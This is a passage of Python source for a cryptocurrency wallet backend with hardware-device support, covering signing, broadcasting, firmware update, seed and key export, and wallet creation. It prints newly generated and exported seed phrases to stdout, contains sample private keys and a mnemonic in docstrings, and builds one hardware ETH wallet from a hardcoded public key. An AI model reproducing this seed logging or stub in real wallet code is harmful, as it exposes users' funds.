return json.dumps(data_json)
def get_all_funded_address(self):
'''
Get a address list of have balance
:return:
'''
try:
self._assert_wallet_isvalid()
all_addr = self.wallet.get_addresses()
funded_addrs_list = []
for addr in all_addr:
c, u, x = self.wallet.get_addr_balance(addr)
balance = c + u + x
if balance == 0:
continue
funded_addr = {}
funded_addr['address'] = addr
funded_addr['balance'] = self.format_amount_and_units(balance)
funded_addrs_list.append(funded_addr)
return json.dumps(funded_addrs_list)
except Exception as e:
raise BaseException(e)
def get_unspend_utxos(self):
'''
Get unspend utxos if you need
:return:
'''
try:
coins = []
for txin in self.wallet.get_utxos():
d = txin.to_json()
dust_sat = int(d['value_sats'])
v = d.pop("value_sats")
d["value"] = self.format_amount(v) + ' ' + self.base_unit
if dust_sat <= 546:
if self.config.get('dust_flag', True):
continue
coins.append(d)
self.coins.append(txin)
return coins
except BaseException as e:
raise e
def save_tx_to_file(self, path, tx):
'''
Save the psbt/tx to path
:param path: path as str
:param tx: tx as str
:return:
'''
try:
if tx is None:
raise BaseException("The tx cannot be empty")
tx = tx_from_any(tx)
if isinstance(tx, PartialTransaction):
tx.finalize_psbt()
if tx.is_complete(): # network tx hex
path += '.txn'
with open(path, "w+") as f:
network_tx_hex = tx.serialize_to_network()
f.write(network_tx_hex + '\n')
else: # if partial: PSBT bytes
assert isinstance(tx, PartialTransaction)
path += '.psbt'
with open(path, "wb+") as f:
f.write(tx.serialize_as_bytes())
except Exception as e:
raise BaseException(e)
def read_tx_from_file(self, path):
'''
Import tx info from path
:param path: path as str
:return:
'''
try:
with open(path, "rb") as f:
file_content = f.read()
except (ValueError, IOError, os.error) as reason:
raise BaseException(_("Failed to open file."))
tx = tx_from_any(file_content)
return tx
##Analyze QR data
def parse_address(self, data):
data = data.strip()
try:
out = util.parse_URI(data)
r = out.get('r')
sig = out.get('sig')
name = out.get('name')
if r or (name and sig):
if name and sig:
s = paymentrequest.serialize_request(out).SerializeToString()
result = paymentrequest.PaymentRequest(s)
else:
result = asyncio.run_coroutine_threadsafe(
paymentrequest.get_payment_request(r),
self.network.asyncio_loop).result()
out = {'address': result.get_address(), 'memo': result.get_memo()}
if result.get_amount() != 0:
out['amount'] = result.get_amount()
if out.__contains__('amount'):
out['amount'] = self.format_amount_and_units(out['amount'])
return out
except Exception as e:
raise Exception(e)
def parse_tx(self, data):
# try to decode transaction
from electrum.transaction import Transaction
from electrum.util import bh2u
try:
# text = bh2u(base_decode(data, base=43))
tx = self.recover_tx_info(data)
except Exception as e:
tx = None
raise BaseException(e)
data = self.get_details_info(tx)
return data
def parse_pr(self, data):
'''
Parse qr code which generated by address or tx
:param data: qr cata as str
:return:
'''
add_status_flag = False
tx_status_flag = False
add_data = {}
try:
add_data = self.parse_address(data)
add_status_flag = True
except BaseException as e:
add_status_flag = False
try:
tx_data = self.parse_tx(data)
tx_status_flag = True
except BaseException as e:
tx_status_flag = False
out_data = {}
if (add_status_flag):
out_data['type'] = 1
out_data['data'] = add_data
elif (tx_status_flag):
out_data['type'] = 2
out_data['data'] = json.loads(tx_data)
else:
out_data['type'] = 3
out_data['data'] = "parse pr error"
return json.dumps(out_data)
def update_local_info(self, txid, address, tx, msg):
self.remove_local_tx(txid)
self.txdb.add_tx_info(address=address, tx_hash=txid, psbt_tx="", raw_tx=tx,
failed_info=msg)
def broadcast_tx(self, tx):
'''
Broadcast the tx
:param tx: tx as str
:return: 'success'/raise except
'''
if self.network and self.network.is_connected():
status = False
try:
if isinstance(tx, str):
tx = tx_from_any(tx)
tx.deserialize()
self.network.run_from_another_thread(self.network.broadcast_transaction(tx))
except TxBroadcastError as e:
# TODO DB self.delete_tx()
msg = e.__str__()
self.update_local_info(tx.txid(), self.wallet.get_addresses()[0], tx, msg)
raise BaseException(msg)
except BestEffortRequestFailed as e:
msg = repr(e)
raise BaseException(msg)
else:
print("--------broadcast ok............")
return "success"
finally:
self.txdb.add_tx_time_info(tx.txid())
# status, msg = True, tx.txid()
# self.callbackIntent.onCallback(Status.broadcast, msg)
else:
self.txdb.add_tx_time_info(tx.txid())
raise BaseException(_('Cannot broadcast transaction Not connected'))
def set_use_change(self, status_change):
'''
Enable/disable change address
:param status_change: as bool
:return:
'''
try:
self._assert_wallet_isvalid()
except Exception as e:
raise BaseException(e)
if self.wallet.use_change == status_change:
return
self.config.set_key('use_change', status_change, False)
self.wallet.use_change = status_change
def sign_message(self, address, message, path='android_usb', password=None):
'''
:param address: must bitcoin address, must in current wallet as str
:param message: message need be signed as str
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param password: as str
:return:
'''
try:
if path:
self.get_client(path=path)
self._assert_wallet_isvalid()
address = address.strip()
message = message.strip()
if not bitcoin.is_address(address):
raise BaseException(UnavailableBtcAddr())
if self.wallet.is_watching_only():
raise BaseException(_('This is a watching-only wallet.'))
if not self.wallet.is_mine(address):
raise BaseException(_('The address is not in the current wallet.'))
txin_type = self.wallet.get_txin_type(address)
if txin_type not in ['p2pkh', 'p2wpkh', 'p2wpkh-p2sh']:
raise BaseException(_('Current wallet does not support signature message:{}'.format(txin_type)))
sig = self.wallet.sign_message(address, message, password)
import base64
return base64.b64encode(sig).decode('ascii')
except Exception as e:
raise BaseException(e)
def verify_message(self, address, message, signature):
'''
Verify the message that you signed by sign_message
:param address: must bitcoin address as str
:param message: message as str
:param signature: sign info retured by sign_message api
:return: true/false as bool
'''
address = address.strip()
message = message.strip().encode('utf-8')
if not bitcoin.is_address(address):
raise BaseException(UnavailableBtcAddr())
try:
# This can throw on invalid base64
import base64
sig = base64.b64decode(str(signature))
verified = ecc.verify_message_with_address(address, sig, message)
except Exception as e:
verified = False
return verified
def add_token(self, symbol, contract_addr):
try:
self.wallet.add_contract_token(symbol, PyWalib.get_web3().toChecksumAddress(contract_addr))
except BaseException as e:
raise e
###############
def sign_eth_tx(self, to_addr, value, path='android_usb', password=None, symbol=None, gasprice=None):
checksum_from_address = self.pywalib.web3.toChecksumAddress(self.wallet.get_addresses()[0])
if symbol is None:
tx_dict = self.pywalib.get_transaction(checksum_from_address, to_addr, value, gasprice=gasprice)
else:
con_addr = self.wallet.get_contract_token(symbol)
tx_dict = self.pywalib.get_transaction(checksum_from_address, to_addr, value, contract=con_addr,
gasprice=gasprice)
if isinstance(self.wallet.get_keystore(), Hardware_KeyStore):
if path:
client = self.get_client(path=path)
address_n = self.wallet.get_keystore().get_derivation_prefix()
(v, r, s) = client.sign_eth_tx(address_n=address_n, nonce=tx_dict.nonce, gas_price=tx_dict.gas_price,
gas=tx_dict.gas,
value=tx_dict.value, data=(tx_dict.data if symbol is not None else None),
to=tx_dict.to_address, chain_id=tx_dict.chain_id)
return self.pywalib.serialize_and_send_tx(tx_dict, vrs=(v, r, s))
else:
return self.pywalib.sign_and_send_tx(self.wallet.get_account(checksum_from_address, password), tx_dict)
def sign_tx(self, tx, path=None, password=None):
'''
Sign one transaction
:param tx: tx info as str
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param password: password as str
:return: signed tx on success and raise except on failure
'''
try:
if path is not None:
self.get_client(path=path)
self._assert_wallet_isvalid()
tx = tx_from_any(tx)
tx.deserialize()
sign_tx = self.wallet.sign_transaction(tx, password)
print("=======sign_tx.serialize=%s" % sign_tx.serialize_as_bytes().hex())
try:
self.do_save(sign_tx)
except:
pass
try:
if self.label_flag and self.wallet.wallet_type != "standard":
self.label_plugin.push_tx(self.wallet, 'signtx', tx.txid(), str(sign_tx))
except BaseException as e:
print(f"push_tx signtx error {e}")
pass
return self.get_tx_info_from_raw(sign_tx)
except BaseException as e:
# msg = e.__str__()
# self.update_local_info(tx.txid(), self.wallet.get_addresses()[0], tx, msg)
raise BaseException(e)
def get_derived_list(self, xpub):
try:
derived_info = DerivedInfo(self.config)
derived_info.init_recovery_num()
for derived_xpub, wallet_list in self.derived_info.items():
if xpub == derived_xpub:
for info in wallet_list:
derived_info.update_recovery_info(info['account_id'])
derived_info.reset_list()
return derived_info.get_list()
return None
except BaseException as e:
raise e
##connection with terzorlib#########################
def hardware_verify(self, msg, path='android_usb'):
'''
Anti-counterfeiting verification
:param msg: msg as str
:param path: NFC/android_usb/bluetooth as str, used by hardware
:return: json like {"data":, "cert":, "signature":,}
'''
client = self.get_client(path=path)
try:
from hashlib import sha256
digest = sha256(msg.encode("utf-8")).digest()
response = device.se_verify(client.client, digest)
except Exception as e:
raise BaseException(e)
verify_info = {}
verify_info['data'] = msg
verify_info['cert'] = response.cert.hex()
verify_info['signature'] = response.signature.hex()
return json.dumps(verify_info)
def backup_wallet(self, path='android_usb'):
'''
Backup wallet by se
:param path: NFC/android_usb/bluetooth as str, used by hardware
:return:
'''
client = self.get_client(path=path)
try:
response = client.backup()
except Exception as e:
raise BaseException(e)
return response
def se_proxy(self, message, path='android_usb') -> str:
client = self.get_client(path=path)
try:
response = client.se_proxy(message)
except Exception as e:
raise BaseException(e)
return response
def bixin_backup_device(self, path='android_usb'):
'''
Export seed
:param path: NFC/android_usb/bluetooth as str, used by hardware
:return:
'''
client = self.get_client(path=path)
try:
response = client.bixin_backup_device()
except Exception as e:
raise BaseException(e)
print(f"seed......{response}")
return response
def bixin_load_device(self, path='android_usb', mnemonics=None, language="en-US", label="BIXIN KEY"):
'''
Import seed
:param mnemonics: as str
:param path: NFC/android_usb/bluetooth as str, used by hardware
:return:
'''
client = self.get_client(path=path)
try:
response = client.bixin_load_device(mnemonics=mnemonics, language=language, label=label)
except Exception as e:
raise BaseException(e)
return response
def recovery_wallet_hw(self, path='android_usb', *args):
'''
Recovery wallet by encryption
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param args: encryption data as str
:return:
'''
client = self.get_client(path=path)
try:
response = client.recovery(*args)
except Exception as e:
raise BaseException(e)
return response
def bx_inquire_whitelist(self, path='android_usb', **kwargs):
'''
Inquire
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param kwargs:
type:2=inquire
addr_in: addreess as str
:return:
'''
client = self.get_client(path=path)
try:
response = json.dumps(client.bx_inquire_whitelist(**kwargs))
except Exception as e:
raise BaseException(e)
return response
def bx_add_or_delete_whitelist(self, path='android_usb', **kwargs):
'''
Add and delete whitelist
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param kwargs:
type:0=add 1=delete
addr_in: addreess as str
:return:
'''
client = self.get_client(path=path)
try:
response = json.dumps(client.bx_add_or_delete_whitelist(**kwargs))
except Exception as e:
raise BaseException(e)
return response
def apply_setting(self, path='nfc', **kwargs):
'''
Set the hardware function
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param kwargs:
下边罗列的参数 使用哪个传哪个 不用都传
label 钱包名称
language 语言
use_passphrase 隐藏钱包
auto_lock_delay_ms 自动解锁时间
fastpay_pin 快捷支付是否需要验PIN
use_ble 是否启动蓝牙
use_se 是否启动se
is_bixinapp 设置是否是币信app
fastpay_confirm 快捷支付是否需要摁键确认
fastpay_money_limit 快捷支付额度限制
fastpay_times 快捷支付次数
:return:
'''
client = self.get_client(path=path)
try:
resp = device.apply_settings(client.client, **kwargs)
if resp == "Settings applied":
return 1
else:
return 0
except Exception as e:
raise BaseException(e)
def init(self, path='android_usb', label="BIXIN KEY", language='english', stronger_mnemonic=None, use_se=False):
'''
Activate the device
:param stronger_mnemonic: if not None 256 else 128
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param label: name as str
:param language: as str
:param use_se: as bool
:return:
'''
client = self.get_client(path=path)
strength = 128
try:
if use_se:
device.apply_settings(client.client, use_se=True)
if stronger_mnemonic:
strength = 256
response = client.reset_device(language=language, passphrase_protection=True, label=label,
strength=strength)
except Exception as e:
raise BaseException(e)
if response == "Device successfully initialized":
return 1
else:
return 0
def reset_pin(self, path='android_usb') -> int:
'''
Reset pin
:param path:NFC/android_usb/bluetooth as str, used by hardware
:return:
'''
try:
client = self.get_client(path)
resp = client.set_pin(False)
except Exception as e:
if isinstance(e, exceptions.PinException):
return 0
else:
raise BaseException("user cancel")
return 1
# if resp == "PIN changed":
# return 1
# else:
# return -1
def show_address(self, address, path='android_usb') -> str:
'''
Verify address on hardware
:param address: address as str
:param path: NFC/android_usb/bluetooth as str, used by hardware
:return:
'''
try:
plugin = self.plugin.get_plugin("trezor")
plugin.show_address(path=path, ui=CustomerUI(), wallet=self.wallet, address=address)
return "1"
except Exception as e:
raise BaseException(e)
def wipe_device(self, path='android_usb') -> int:
'''
Reset device
:param path: NFC/android_usb/bluetooth as str, used by hardware
:return:
'''
try:
client = self.get_client(path)
resp = client.wipe_device()
except Exception as e:
if isinstance(e, exceptions.PinException):
return 0
else:
raise BaseException(e)
if resp == "Device wiped":
return 1
else:
return 0
def get_passphrase_status(self, path='android_usb'):
# self.client = None
# self.path = ''
client = self.get_client(path=path)
return client.features.passphrase_protection
def get_client(self, path='android_usb', ui=CustomerUI(), clean=False):
plugin = self.plugin.get_plugin("trezor")
if clean:
plugin.clean()
return plugin.get_client(path=path, ui=ui)
def is_encrypted_with_hw_device(self):
ret = self.wallet.storage.is_encrypted_with_hw_device()
print(f"hw device....{ret}")
def get_feature(self, path='android_usb'):
'''
Get hardware information
:param path: NFC/android_usb/bluetooth as str, used by hardware
:return:
'''
with self.lock:
client = self.get_client(path=path, clean=True)
return json.dumps(protobuf.to_dict(client.features))
def get_xpub_from_hw(self, path='android_usb', _type='p2wpkh', is_creating=True, account_id=None, coin='btc'):
'''
Get extended public key from hardware
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param _type: p2wsh/p2pkh/p2pkh-p2sh as str
:return: xpub str
'''
client = self.get_client(path=path)
self.hw_info['device_id'] = client.features.device_id
self.hw_info['type'] = _type
if account_id is None:
account_id = 0
if coin == 'btc':
if _type == "p2wsh":
derivation = purpose48_derivation(account_id, xtype='p2wsh')
self.hw_info['type'] = 48
# derivation = bip44_derivation(account_id, bip43_purpose=48)
elif _type == 'p2wpkh':
derivation = bip44_derivation(account_id, bip43_purpose=84)
self.hw_info['type'] = 84
elif _type == 'p2pkh':
derivation = bip44_derivation(account_id, bip43_purpose=44)
self.hw_info['type'] = 44
elif _type == 'p2wpkh-p2sh':
derivation = bip44_derivation(account_id, bip43_purpose=49)
self.hw_info['type'] = 49
try:
xpub = client.get_xpub(derivation, _type, creating=is_creating)
except Exception as e:
raise BaseException(e)
return xpub
else:
derivation = bip44_derivation(account_id, bip43_purpose=self.coins[coin]['addressType'],
coin=self.coins[coin]['coinId'])
try:
xpub = client.get_eth_xpub(derivation)
except Exception as e:
raise BaseException(e)
return xpub
def create_hw_derived_wallet(self, path='android_usb', _type='p2wpkh', is_creating=True, coin='btc'):
'''
Create derived wallet by hardware
:param path: NFC/android_usb/bluetooth as str, used by hardware
:param _type: p2wsh/p2wsh/p2pkh/p2pkh-p2sh as str
:return: xpub as str
'''
xpub = self.get_xpub_from_hw(path=path, _type='p2wpkh')
list_info = self.get_derived_list(xpub)
self.hw_info['xpub'] = xpub
if list_info is None:
self.hw_info['account_id'] = 0
dervied_xpub = self.get_xpub_from_hw(path=path, _type=_type, account_id=0)
return dervied_xpub
if len(list_info) == 0:
raise BaseException(DerivedWalletLimit())
dervied_xpub = self.get_xpub_from_hw(path=path, _type=_type, account_id=list_info[0])
self.hw_info['account_id'] = list_info[0]
return dervied_xpub
def firmware_update(
self,
filename,
path,
type="",
fingerprint=None,
skip_check=True,
raw=False,
dry_run=False,
):
'''
Upload new firmware to device.
Note : Device must be in bootloader mode.
'''
# self.client = None
# self.path = ''
client = self.get_client(path)
features = client.features
if not features.bootloader_mode:
resp = client.client.call(messages.BixinReboot())
if not dry_run and not isinstance(resp, messages.Success):
raise RuntimeError("Failed turn into bootloader")
time.sleep(2)
client.client.init_device()
if not dry_run and not client.features.bootloader_mode:
raise BaseException(_("Switch the device to bootloader mode."))
bootloader_onev2 = features.major_version == 1 and features.minor_version >= 8
if filename:
try:
if type:
data = parse(filename)
else:
with open(filename, "rb") as file:
data = file.read()
except Exception as e:
raise BaseException(e)
else:
raise BaseException(("Please give the file name"))
if not raw and not skip_check:
try:
version, fw = firmware.parse(data)
except Exception as e:
raise BaseException(e)
trezorctl.validate_firmware(version, fw, fingerprint)
if (
bootloader_onev2
and version == firmware.FirmwareFormat.TREZOR_ONE
and not fw.embedded_onev2
):
raise BaseException(_("Your device's firmware version is too low. Aborting."))
elif not bootloader_onev2 and version == firmware.FirmwareFormat.TREZOR_ONE_V2:
raise BaseException(_("You need to upgrade the bootloader immediately."))
if features.major_version not in trezorctl.ALLOWED_FIRMWARE_FORMATS:
raise BaseException(("Trezorctl doesn't know your device version. Aborting."))
elif version not in trezorctl.ALLOWED_FIRMWARE_FORMATS[features.major_version]:
raise BaseException(_("Firmware not compatible with your equipment, Aborting."))
if not raw:
# special handling for embedded-OneV2 format:
# for bootloader < 1.8, keep the embedding
# for bootloader 1.8.0 and up, strip the old OneV1 header
if bootloader_onev2 and data[:4] == b"TRZR" and data[256: 256 + 4] == b"TRZF":
print("Extracting embedded firmware image (fingerprint may change).")
data = data[256:]
if dry_run:
print("Dry run. Not uploading firmware to device.")
else:
try:
if features.major_version == 1 and features.firmware_present is not False:
# Trezor One does not send ButtonRequest
print("Please confirm the action on your Trezor device")
return firmware.update(client.client, data, type=type)
except exceptions.Cancelled:
print("Update aborted on device.")
except exceptions.TrezorException as e:
raise BaseException(_("Update failed: {}".format(e)))
def create_eth_wallet_by_hw(self, name, password=None, path="android_usb", account_id=None, hd=False):
temp_path = self.get_temp_file()
path = self._wallet_path(temp_path)
# if exists(path):
# raise BaseException(_("The file already exists"))
# pubkey = self.get_eth_xpub(path, account_id=account_id)
# xpub = 'xpub6Fz7cGfduckGjz5mWzQVS2NQKBN8T1qxfFiLJNa9i1jpDu6fgkq7gRG9nFTgyv8fjHmzoUQXL6wMDguKmeajNXw5CtHdj5Ge3L8Q3cezjPg'
from electrum.bip32 import get_uncompressed_key
pubkey = get_uncompressed_key('03f6845563b0e1aaff93335c7ac35686a56da88ec676e9537a61490603fae302b1')
storage = WalletStorage(path)
db = WalletDB('', manual_upgrades=False)
wallet = Imported_Eth_Wallet(db, storage, config=self.config)
from eth_keys import keys
from hexbytes import HexBytes
pubkey = keys.PublicKey(HexBytes(pubkey[2:]))
address = [self.pywalib.web3.toChecksumAddress(pubkey.to_address())]
good_inputs, bad_inputs = wallet.import_addresses(address, write_to_disk=False)
# FIXME tell user about bad_inputs
if not good_inputs:
raise BaseException(UnavailablePublicKey())
self.check_exist_file(wallet.get_addresses()[0])
wallet.update_password(old_pw=None, new_pw=password, str_pw=self.android_id, encrypt_storage=True)
wallet.set_name(name)
wallet.save_db()
self.daemon.add_wallet(wallet)
self.update_wallet_name(temp_path, self.get_unique_path(wallet))
wallet_type = 'eth-standard-hw'
if hd:
# self.eth_derived_info.set_hd_wallet(wallet)
# self.coins[wallet.wallet_type[0:3]]['derived_info'].set_hd_wallet(wallet)
# self.check_pw_wallet = wallet
wallet_type = 'eth-hd-standard-hw'
self.update_local_wallet_info(self.get_unique_path(wallet), wallet_type)
####################################################
## app wallet
# def export_keystore(self, password):
# '''
# Export keystory from eth wallet
# :param password:
# :return:
# '''
# try:
# address = self.wallet.get_addresses()[0]
# keystore = self.wallet.export_keystore(address, password=password)
# return keystore
# except BaseException as e:
# raise e
def export_privkey(self, password):
'''
Export privkey for the first receiving address
:param password: as str
:return: priv as str
.. code-block:: python
testcommond.load_all_wallet()
testcommond.select_wallet("BTC-1")
priv = testcommond.export_privkey(password)
if the wallet you select is "btc" wallet, you will get:
'cVJo3o48E6j8xxbTQprEzaCWQJ7aL3Y59R2W1owzJnX8NBh5AXnt'
if the wallet you select is "eth" wallet, you will get:
'0x31271366888ccad468157770734b5ac0d98a9363d4b229767a28c44fde445f51'
'''
try:
address = self.wallet.get_addresses()[0]
priv = self.wallet.export_private_key(address, password=password)
if -1 != priv.find(":"):
priv = priv.split(":")[1]
return priv
except BaseException as e:
raise e
def export_seed(self, password, name):
'''
Export seed by on-chain wallet
:param password: password by str
:return: Mnemonic as str
'''
try:
wallet = self.daemon._wallets[self._wallet_path(name)]
if not wallet.has_seed():
raise BaseException(NotSupportExportSeed())
keystore = wallet.get_keystore()
seed = keystore.get_seed(password)
passphrase = keystore.get_passphrase(password)
return seed + passphrase
except BaseException as e:
raise e
def has_seed(self):
'''
Check if the wallet have seed
:return: True/False as bool
'''
if not self.wallet.has_seed():
raise BaseException(NotSupportExportSeed())
return self.wallet.has_seed()
# def check_seed(self, check_seed, password):
# try:
# self._assert_wallet_isvalid()
# if not self.wallet.has_seed():
# raise BaseException('This wallet has no seed')
# keystore = self.wallet.get_keystore()
# seed = keystore.get_seed(password)
# if seed != check_seed:
# raise BaseException("pair seed failed")
# print("pair seed successfule.....")
# except BaseException as e:
# raise BaseException(e)
def is_seed(self, x):
try:
seed_flag = False
if keystore.is_seed(x):
seed_flag = True
else:
is_checksum, is_wordlist = keystore.bip39_is_checksum_valid(x)
if is_checksum:
seed_flag = True
return seed_flag
except BaseException as e:
raise e
def get_addrs_from_seed(self, seed, passphrase=""):
'''
Get p2wpkh/p2wpkh-p2sh/p2pkh/electrum address by one seed
:param seed: seed as str
:param passphrase: passphrase if you need
:return:
'''
list_type_info = ["p2wpkh", "p2wpkh-p2sh", "p2pkh", "electrum"]
out = {}
for type in list_type_info:
bip39_derivation = ""
if type == "p2pkh":
bip39_derivation = bip44_derivation(0, bip43_purpose=44)
elif type == "p2wpkh":
bip39_derivation = bip44_derivation(0, bip43_purpose=84)
elif type == "p2wpkh-p2sh":
bip39_derivation = bip44_derivation(0, bip43_purpose=49)
if type == "electrum":
from electrum.mnemonic import Mnemonic
bip32_seed = Mnemonic.mnemonic_to_seed(seed, passphrase)
rootnode = BIP32Node.from_rootseed(bip32_seed, xtype="standard")
node = rootnode.subkey_at_private_derivation("m/0'/")
else:
bip32_seed = keystore.bip39_to_seed(seed, passphrase)
rootnode = BIP32Node.from_rootseed(bip32_seed, xtype=("standard" if type == "p2pkh" else type))
node = rootnode.subkey_at_private_derivation(bip39_derivation)
from electrum import bip32
xpub_master = bip32.xpub_from_xprv(node.to_xprv())
node_master = BIP32Node.from_xkey(xpub_master)
xpub = node_master.subkey_at_public_derivation((0,)).to_xpub()
node = BIP32Node.from_xkey(xpub).subkey_at_public_derivation((0,))
pubkey = node.eckey.get_public_key_bytes(compressed=True).hex()
addr = bitcoin.pubkey_to_address('p2wpkh' if type == 'electrum' else type, pubkey)
temp = {}
temp['addr'] = addr
temp['derivation'] = bip39_derivation
out[type] = temp
print(f"out==addr = {out}")
return json.dumps(out)
def update_backup_info(self, encrypt_seed):
'''
Add wallet backup info to config file
:param encrypt_seed: encrypt_seed is key as str
:return:
'''
try:
if not self.backup_info.__contains__(encrypt_seed):
self.backup_info[encrypt_seed] = False
self.config.set_key("backupinfo", self.backup_info)
except BaseException as e:
raise e
def get_wallet_by_name(self, name):
return self.daemon._wallets[self._wallet_path(name)]
def search_wallet_by_name(self, name):
# self._assert_wallet_isvalid()
wallet_type = self.get_wallet_type(name)['type']
if (-1 != wallet_type.find('-hd-') or -1 != wallet_type.find('-derived-')) and -1 == wallet_type.find('-hw-'):
return self.hd_wallet
else:
return self.get_wallet_by_name(name)
def get_backup_info(self, name):
'''
Get backup status
:return: True/False as bool
'''
backup_flag = True
try:
wallet = self.search_wallet_by_name(name)
if wallet.has_seed():
if self.backup_info.__contains__(wallet.keystore.xpub):
backup_flag = False
except BaseException as e:
raise e
return backup_flag
def delete_backup_info(self, name):
'''
Delete one backup status in the config
:return:
'''
try:
wallet = self.search_wallet_by_name(name)
seed = wallet.keystore.xpub
if self.backup_info.__contains__(seed):
del self.backup_info[seed]
self.config.set_key("backupinfo", self.backup_info)
except BaseException as e:
raise e
def create_hd_wallet(self, password, seed=None, passphrase="", purpose=84, strength=128):
'''
Create hd wallet
:param password: password as str
:param seed: import create hd wallet if seed is not None
:param purpose: 84/44/49 used by btc
:param strength: num of seed (128/256)
:return:
will return created derived wallet if seed is not none
new Mnemonic if seed is None
'''
self._assert_daemon_running()
new_seed = None
if seed is None:
seed = Mnemonic("english").generate(strength=strength)
new_seed = seed
print("Your wallet generation seed is:\n\"%s\"" % seed)
print("seed type = %s" % type(seed))
wallet_data = []
##create BTC-1
wallet_info = self.create("BTC-1", password, seed=seed, passphrase=passphrase,
bip39_derivation=bip44_derivation(0, purpose),
hd=True)
wallet_data.append(json.loads(wallet_info))
for coin, info in self.coins.items():
name = "%s-1" % coin.upper()
bip39_derivation = bip44_derivation(0, info['addressType'], info['coinId'])
# wallet_info = self.create(name, password, seed=seed, passphrase=passphrase, bip39_derivation=bip39_derivation, hd=True, coin=coin)
# wallet_data.append(json.loads(wallet_info))
if new_seed is None:
return self.recovery_hd_derived_wallet(password, seed, passphrase, wallet_data=wallet_data)
else:
key = self.get_hd_wallet_encode_seed()
self.update_backup_info(key)
out_info = []
for info in wallet_data:
out_info.append(info["wallet_info"][0])
out = self.get_create_info_by_json(new_seed, out_info)
return json.dumps(out)
def get_wallet_num(self):
list_info = json.loads(self.list_wallets())
num = 0
name = {}
for info in list_info:
for key, value in info.items():
if -1 == value['type'].find("-hw-"):
num += 1
return num
def get_temp_file(self):
return ''.join(random.sample(string.ascii_letters + string.digits, 8)) + '.unique.file'
def get_unique_path(self, wallet_info):
import hashlib
return hashlib.sha256(wallet_info.get_addresses()[0].encode()).hexdigest()
def verify_legality(self, data, flag='', coin='btc', password=None):
'''
Verify legality for seed/private/public/address
:param data: data as str
:param falg: seed/private/public/address as string
:param coin: btc/eth as string
:return:
'''
if flag == "seed":
is_checksum, is_wordlist = keystore.bip39_is_checksum_valid(data)
if not keystore.is_seed(data) and not is_checksum:
raise BaseException(_("Incorrect mnemonic format."))
if coin == "btc":
if flag == "private":
try:
ecc.ECPrivkey(bfh(data))
except:
keys = keystore.get_private_keys(data, allow_spaces_inside_key=False)
if keys is None:
raise BaseException(UnavailablePrivateKey())
elif flag == "public":
try:
ecc.ECPubkey(bfh(data))
except:
raise BaseException(UnavailablePublicKey())
elif flag == "address":
if not bitcoin.is_address(data):
raise BaseException(UnavailableBtcAddr())
elif self.coins.__contains__(coin):
if flag == "private":
try:
keys.PrivateKey(HexBytes(data))
except:
raise BaseException(UnavailablePrivateKey())
elif flag == "keystore":
try:
Account.decrypt(data, password).hex()
except BaseException as e:
raise BaseException(_("Incorrect eth keystore."))
elif flag == "public":
try:
uncom_key = get_uncompressed_key(data)
keys.PublicKey(HexBytes(uncom_key[2:]))
except:
raise BaseException(UnavailablePublicKey())
elif flag == "address":
if not self.pywalib.web3.isChecksumAddress(self.pywalib.web3.toChecksumAddress(data)):
raise BaseException(UnavailableEthAddr())
def create(self, name, password=None, seed_type="segwit", seed=None, passphrase="", bip39_derivation=None,
master=None, addresses=None, privkeys=None, hd=False, purpose=84, coin="btc", keystores=None,
strength=128):
'''
Create or restore a new wallet
exp:
create by address
create("test4", addresses="037f4e0eaf45aa391cd57b44cc48db5a26e0db66402a15a75c8ab2eb793a8823c4")
or
create("test5", addresses="bcrt1qzm6y9j0zg9nnludkgtc0pvhet0sf76szjw7fjw")
create by privkey
create("test3", password=password, privkeys="p2wpkh:cRR5YkkGHTph8RsM1bQv7YSzY27hxBBhoJnVdHjGnuKntY7RgoGw")
or
create("test3", password=password, privkeys="e6841ceb170becade0a4aa3e157f08871192f9de1c35835de5e1b47fc167d27e")
create by seed
create(name, password, seed='pottery curtain belt canal cart include raise receive sponsor vote embody offer')
'''
print("CREATE in....name = %s" % name)
try:
if self.get_wallet_num() == 0:
self.check_pw_wallet = None
if addresses is None:
self.check_password(password)
except BaseException as e:
raise e
new_seed = ""
derived_flag = False
wallet_type = "%s-standard" % coin
temp_path = self.get_temp_file()
path = self._wallet_path(temp_path)
if exists(path):
raise BaseException(FileAlreadyExist())
storage = WalletStorage(path)
db = WalletDB('', manual_upgrades=False)
if addresses is not None:
if coin == "btc":
wallet = Imported_Wallet(db, storage, config=self.config)
addresses = addresses.split()
if not bitcoin.is_address(addresses[0]):
try:
pubkey = ecc.ECPubkey(bfh(addresses[0])).get_public_key_hex()
addresses = [bitcoin.pubkey_to_address("p2wpkh", pubkey)]
except BaseException as e:
raise BaseException(_("Incorrect address or pubkey."))
elif coin == "eth" or coin == "bsc":
wallet = Imported_Eth_Wallet(db, storage, config=self.config)
wallet.wallet_type = '%s_imported' % coin
try:
from eth_keys import keys
from hexbytes import HexBytes
pubkey = keys.PublicKey(HexBytes(addresses))
addresses = pubkey.to_address()
except BaseException as e:
addresses = addresses.split()
else:
raise BaseException("Only support BTC/ETH")
good_inputs, bad_inputs = wallet.import_addresses(addresses, write_to_disk=False)
# FIXME tell user about bad_inputs
if not good_inputs:
raise BaseException(_("No address available."))
wallet_type = "%s-watch-standard" % coin
elif privkeys is not None or keystores is not None:
if coin == "btc":
ks = keystore.Imported_KeyStore({})
db.put('keystore', ks.dump())
wallet = Imported_Wallet(db, storage, config=self.config)
try:
# TODO:need script(p2pkh/p2wpkh/p2wpkh-p2sh)
if privkeys[0:2] == '0x':
privkeys = privkeys[2:]
ecc.ECPrivkey(bfh(privkeys))
keys = [privkeys]
except BaseException as e:
addr_type = 'p2pkh' if purpose == 44 else 'p2wpkh' if purpose == 84 else 'p2wpkh-p2sh' if purpose == 49 else ""
if addr_type != "":
privkeys = '%s:%s' % (addr_type, privkeys)
keys = keystore.get_private_keys(privkeys, allow_spaces_inside_key=False)
if keys is None:
raise BaseException(UnavailablePrivateKey())
elif coin == "eth" or coin == "bsc":
if keystores is not None:
try:
from eth_account import Account
privkeys = Account.decrypt(keystores, password).hex()
except ValueError:
raise InvalidPasswordException()
k = keystore.Imported_KeyStore({})
db.put('keystore', k.dump())
wallet = Imported_Eth_Wallet(db, storage, config=self.config)
wallet.wallet_type = '%s_imported' % coin
